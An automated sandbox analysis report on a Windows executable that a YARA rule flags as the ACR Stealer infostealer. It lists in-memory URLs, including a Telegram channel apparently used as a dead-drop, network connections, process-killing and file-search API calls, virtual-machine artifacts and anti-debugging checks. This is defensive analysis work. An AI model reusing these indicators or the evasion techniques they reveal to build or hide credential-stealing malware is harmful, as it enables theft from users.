Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: OXoeX1Ii3x.exe	String found in binary or memory: https://t.me/asdfghjrrewqqqqtfg
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: OXoeX1Ii3x.exe, type: SAMPLE	Matched rule: Finds ACR Stealer standalone samples based on specific strings. Author: Sekoia.io
Source: 0.2.OXoeX1Ii3x.exe.200000.0.unpack, type: UNPACKEDPE	Matched rule: Finds ACR Stealer standalone samples based on specific strings. Author: Sekoia.io
Source: 0.0.OXoeX1Ii3x.exe.200000.0.unpack, type: UNPACKEDPE	Matched rule: Finds ACR Stealer standalone samples based on specific strings. Author: Sekoia.io

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_0023C03A	0_2_0023C03A
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_002023C8	0_2_002023C8
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_00204539	0_2_00204539
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_002386A0	0_2_002386A0
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_0020469F	0_2_0020469F
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_002028E2	0_2_002028E2
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_00226930	0_2_00226930
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_00228960	0_2_00228960
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_0023AA6E	0_2_0023AA6E
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_00204B0C	0_2_00204B0C
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_00220C70	0_2_00220C70
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_00202D56	0_2_00202D56
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_0022AE84	0_2_0022AE84
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_002130A2	0_2_002130A2
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_00201424	0_2_00201424
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_00205462	0_2_00205462
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_002137C6	0_2_002137C6
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_00213820	0_2_00213820
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_00201A8D	0_2_00201A8D

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: String function: 0020A85F appears 68 times
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: String function: 0023FC67 appears 91 times
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: String function: 0021D5B0 appears 52 times
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: String function: 0023FC9A appears 75 times

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 1932

Source: OXoeX1Ii3x.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, REMOVABLE_RUN_FROM_SWAP

Source: OXoeX1Ii3x.exe, type: SAMPLE	Matched rule: infostealer_win_acrstealer_str author = Sekoia.io, description = Finds ACR Stealer standalone samples based on specific strings., creation_date = 2024-04-22, classification = TLP:CLEAR, version = 1.0, id = 63b4d6ff-0cab-44ec-9d53-bb2612371a48
Source: 0.2.OXoeX1Ii3x.exe.200000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_acrstealer_str author = Sekoia.io, description = Finds ACR Stealer standalone samples based on specific strings., creation_date = 2024-04-22, classification = TLP:CLEAR, version = 1.0, id = 63b4d6ff-0cab-44ec-9d53-bb2612371a48
Source: 0.0.OXoeX1Ii3x.exe.200000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_acrstealer_str author = Sekoia.io, description = Finds ACR Stealer standalone samples based on specific strings., creation_date = 2024-04-22, classification = TLP:CLEAR, version = 1.0, id = 63b4d6ff-0cab-44ec-9d53-bb2612371a48

Source: classification engine

Classification label: mal84.troj.winEXE@2/6@2/2

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Code function: 0_2_0021AFE8 __EH_prolog3_GS,CreateToolhelp32Snapshot,Process32FirstW,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,Sleep,

0_2_0021AFE8

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\76561199619938930[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4396

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\e14e1b0d-1f70-405f-a4b6-4de6e2cfca0c

Jump to behavior

Source: OXoeX1Ii3x.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: OXoeX1Ii3x.exe	Virustotal: Detection: 52%
Source: OXoeX1Ii3x.exe	ReversingLabs: Detection: 68%

Source: unknown	Process created: C:\Users\user\Desktop\OXoeX1Ii3x.exe "C:\Users\user\Desktop\OXoeX1Ii3x.exe"
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 1932

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: OXoeX1Ii3x.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: OXoeX1Ii3x.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Code function: 0_2_0023FC35 push ecx; ret

0_2_0023FC48

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

API coverage: 3.5 %

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_0023576B FindFirstFileExW,		0_2_0023576B
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_00207A82 __EH_prolog3_GS,FindFirstFileA,PathMatchSpecA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,FindClose,FindClose,		0_2_00207A82

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Code function: 0_2_0021D3D0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0021D3D0

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Code function: 0_2_0021C2B7 mov eax, dword ptr fs:[00000030h]

0_2_0021C2B7

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Code function: 0_2_002187FB __EH_prolog3_GS,GetProcessHeap,HeapFree,Sleep,

0_2_002187FB

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_0021CA6E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0021CA6E
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_0021D3D0 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0021D3D0
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_0021D535 SetUnhandledExceptionFilter,	0_2_0021D535
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_0022B6EC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0022B6EC

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Code function: 0_2_0021D1DF cpuid

0_2_0021D1DF

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: GetLocaleInfoW,	0_2_002320A9
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00238BF9
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: EnumSystemLocalesW,	0_2_00238EA7
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: EnumSystemLocalesW,	0_2_00238EF2
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: EnumSystemLocalesW,	0_2_00238F8D
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00239020
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: GetLocaleInfoW,	0_2_00239280
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_002393A9
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: GetLocaleInfoW,	0_2_002394AF
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00239585
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: EnumSystemLocalesW,	0_2_00231B7D

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Code function: 0_2_00224EC6 GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

0_2_00224EC6

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Code function: 0_2_00232B10 GetTimeZoneInformation,

0_2_00232B10

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

